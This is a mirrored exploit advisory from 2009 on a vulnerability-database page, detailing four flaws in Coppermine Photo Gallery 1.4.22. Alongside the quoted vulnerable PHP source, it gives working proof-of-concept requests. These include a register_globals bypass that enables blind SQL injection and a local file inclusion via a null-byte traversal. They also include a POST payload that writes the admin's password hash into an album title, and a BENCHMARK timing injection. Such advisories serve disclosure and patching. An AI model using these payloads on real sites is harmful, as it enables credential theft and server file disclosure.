Lucene search
+L

Coppermine Photo Gallery 1.4.22 LFI / SQL Injection

🗓️ 19 May 2009 00:00:00Reported by __GiReX__Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Coppermine Photo Gallery 1.4.22 LFI / SQL Injection vulnerabilitie

Code
`Author: girex  
Site: http://girex.altervista.org/  
  
CMS: Coppermine Photo Gallery <= 1.4.22  
  
  
Coppermine Foto Gallery suffers from different vulnerabilities.  
  
There is a Local File Inclusion and a Blind SQL Injection working with   
register_globals = On and magic_quotes_gpc = Off  
and  
a SQL Injection working in case of registration is enabled and a user can create/modify albums   
(default setting if registration is enabled) and php.ini regardless  
and   
a Blind SQL Injection when is enabled the ecard logging system   
(that is not a default configuration) and php.ini regardless  
  
Let's see how do they work...  
  
-------------------------------------------------------------------------------------------  
  
Is possible to bypass the anti-register_global protection and obtain a blind sql injection or a local file inclusion.  
  
I couldn't find a better way to exploit bypassing the anti-register_global protection so i just write this  
Proof of Concepts.  
  
Let's see the anti-register_globals protection and how to bypass it...  
  
File: /includes/init.inc.php - lines: 42-65  
  
$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST', 'keysToSkip', 'register_globals_flag', 'cpgdebugger');  
  
if (ini_get('register_globals') == '1' || strtolower(ini_get('register_globals')) == 'on') {  
$register_globals_flag = true;  
} else {  
$register_globals_flag = false;  
}  
  
if (get_magic_quotes_gpc()) {  
if (is_array($_POST)) {  
foreach ($_POST as $key => $value) {  
if (!is_array($value))  
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);  
if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);  
}  
}  
  
if (is_array($_GET)) {  
foreach ($_GET as $key => $value) {  
unset($_GET[$key]);  
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);  
if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);  
}  
}  
  
Same happens for $_COOKIE and $_SERVER vars and also with magic_quotes_gpc = off  
This protection is easily bypassable defining GLOBALS vars via GET or via POST.  
  
Example: index.php?GLOBALS[dummy_example]=damn  
It defines the global var dummy_example.  
  
Let's see how to exploit it...  
  
File: ./thumbnails.php - lines: 79-  
  
if (isset($_GET['sort'])) $USER['sort'] = $_GET['sort'];  
if (isset($_GET['cat'])) $cat = (int)$_GET['cat']; <== bypass the int cast   
if (isset($_GET['album'])) $album = $_GET['album'];  
  
...  
if (is_numeric($album)) {  
...  
  
} else {  
$album_set_array = array();  
if ($cat == USER_GAL_CAT)  
$where = 'category > ' . FIRST_USER_CAT;  
else  
$where = "category = '$cat'";  
  
$result = cpg_db_query("SELECT aid FROM {$CONFIG['TABLE_ALBUMS']} WHERE $where"); <== Vulnerable query  
  
  
Here's a proof of concept:  
NOTE: - we need register_globals = on and magic_quotes_gpc = off  
  
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23 true  
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23 false  
  
-------------------------------------------------------------------------------------------  
  
It's also possible to obtain a local file inclusion overwriting $USER array and in particular  
$USER['lang'] vars...  
  
File: /include/functions.inc.php - lines: 128-135  
  
function user_get_profile()  
{  
global $CONFIG, $USER;  
  
if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {  
$USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));  
$USER['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________'); <== we bypass it  
}  
  
if (!isset($USER['ID']) || strlen($USER['ID']) != 32) {  
list($usec, $sec) = explode(' ', microtime());  
$seed = (float) $sec + ((float) $usec * 100000);  
srand($seed);  
$USER=array('ID' => md5(uniqid(rand(),1)));  
} else {  
$USER['ID'] = addslashes($USER['ID']);  
}  
  
if (!isset($USER['am'])) $USER['am'] = 1;  
}  
  
File: /includes/init.inc.php - lines: 318-346  
  
if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))  
{  
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language  
$CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');  
}  
elseif ($CONFIG['charset'] == 'utf-8') <== default configuration  
{  
include('include/select_lang.inc.php');  
if (file_exists('lang/' . $USER['lang'] . '.php'))  
{  
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language  
$CONFIG['lang'] = $USER['lang'];  
}  
}  
else  
{  
unset($USER['lang']);  
}  
  
if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))  
{  
unset($CONFIG['default_lang']);  
}  
  
if (!file_exists("lang/{$CONFIG['lang']}.php"))  
$CONFIG['lang'] = 'english';  
  
// We load the chosen language file  
require "lang/{$CONFIG['lang']}.php"; <== vulnerable include  
  
  
Here's a proof of concept:  
NOTE: - we need register_globals = on and magic_quotes_gpc = off  
  
GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1  
Host: [host]  
Connection: close  
  
This will include README.txt, if register_globals=on magic_quotes_gpc=off  
and if User-Agent and Accept-Language headers are not set. (see code)  
  
-------------------------------------------------------------------------------------------  
  
When registration are enabled and a user can create/modify albums with password is possible   
to obatain a blind sql injection php.ini regardless.  
  
File: ./db_input.php   
  
$event = isset($_POST['event']) ? $_POST['event'] : $_GET['event'];  
switch ($event) {  
  
...  
  
case 'album_update':  
if (!(USER_ADMIN_MODE || GALLERY_ADMIN_MODE)) cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__); <== USER_ADMIN_MODE is TRUE if we are logged in  
  
$aid = (int)$_POST['aid'];  
$title = addslashes(trim($_POST['title']));  
$category = (int)$_POST['category'];  
$description = addslashes(trim($_POST['description']));  
$keyword = addslashes(trim($_POST['keyword']));  
$thumb = (int)$_POST['thumb'];  
$visibility = (int)$_POST['visibility'];  
$uploads = $_POST['uploads'] == 'YES' ? 'YES' : 'NO';  
$comments = $_POST['comments'] == 'YES' ? 'YES' : 'NO';  
$votes = $_POST['votes'] == 'YES' ? 'YES' : 'NO';  
$password = $_POST['alb_password']; <== this var is not addslashed  
$password_hint = addslashes(trim($_POST['alb_password_hint']));  
$visibility = !empty($password) ? FIRST_USER_CAT + USER_ID : $visibility;  
  
if (!$title) cpg_die(ERROR, $lang_db_input_php['alb_need_title'], __FILE__, __LINE__);  
  
if (GALLERY_ADMIN_MODE) {  
$query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', category='$category', thumb='$thumb', uploads='$uploads', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', alb_password_hint='$password_hint', keyword='$keyword' WHERE aid='$aid' LIMIT 1";  
} else {  
$category = FIRST_USER_CAT + USER_ID;  
$query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', thumb='$thumb', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', <== vulnerable query alb_password_hint='$password_hint',keyword='$keyword' WHERE aid='$aid' AND category='$category' LIMIT 1";  
}  
  
$update = cpg_db_query($query);  
  
$_POST['alb_password'] is not addslashed before being used in a query.  
You must know that all _GET _POST _REQUEST variables are sanizated in init.inc.php...  
  
File: /include/init.inc.php  
  
// Do some cleanup in GET, POST and cookie data and un-register global vars  
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');   
  
...  
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);  
...  
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);  
...  
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);  
  
  
So quotes are fixed, but what about backslash (\). We can manipulate the query inserting a backslash at the end of  
$_POST['alb_password'] and execute SQL in $_POST['alb_password_hint'] parameter.  
  
  
Here's a Proof of Concept:   
NOTE: - registration must be enabled and an user must can create/modify albums   
- works regardless of php.ini settings  
  
- Log in with your user credential  
- Create an album with password  
- Do this request:  
  
POST /[path]/db_input.php HTTP/1.1  
Host: [host]  
Keep-Alive: 300  
Connection: keep-alive  
Cookie: [your_cookies]  
Content-Type: application/x-www-form-urlencoded  
  
event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23  
  
You will set the admin's password (user with user_id=1) as the title of your album.  
  
-------------------------------------------------------------------------------------------  
  
And we have also a Blind SQL Injection with a specific configuration of coppermine...  
  
File: ./displayecard.php - lines 26-38  
  
if (!isset($_GET['data'])) cpg_die(CRITICAL_ERROR, $lang_errors['param_missing'], __FILE__, __LINE__);  
  
$data = array();  
$data = @unserialize(@base64_decode($_GET['data']));  
  
// attempt to obtain full link from db if ecard logging enabled and min 12 chars of data is provided and only 1 match  
if ((!is_array($data)) && $CONFIG['log_ecards'] && (strlen($_GET['data']) > 12)) {  
$result = cpg_db_query("SELECT link FROM {$CONFIG['TABLE_ECARDS']} WHERE link LIKE '{$_GET['data']}%'");  
if (mysql_num_rows($result) === 1) {  
$row = mysql_fetch_assoc($result);  
$data = @unserialize(@base64_decode($row['link']));  
}  
}  
  
  
Here's a Proof of Concept:   
NOTE: - $CONFIG['log_ecards'] must be set to 1 (and this is NOT a default config)   
- works regardless of php.ini settings  
  
Make an injection with this php code:  
<?php  
$injection = "%' OR BENCHMARK(999999, md5(0))#";  
$injection = urlencode(base64_encode(serialize($injection)));  
?>  
  
Then:  
GET http://[host]/[path]/displayecard.php?data=[$injection] HTTP/1.1  
  
girex  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2009 00:00Current
0.7Low risk
Vulners AI Score0.7
35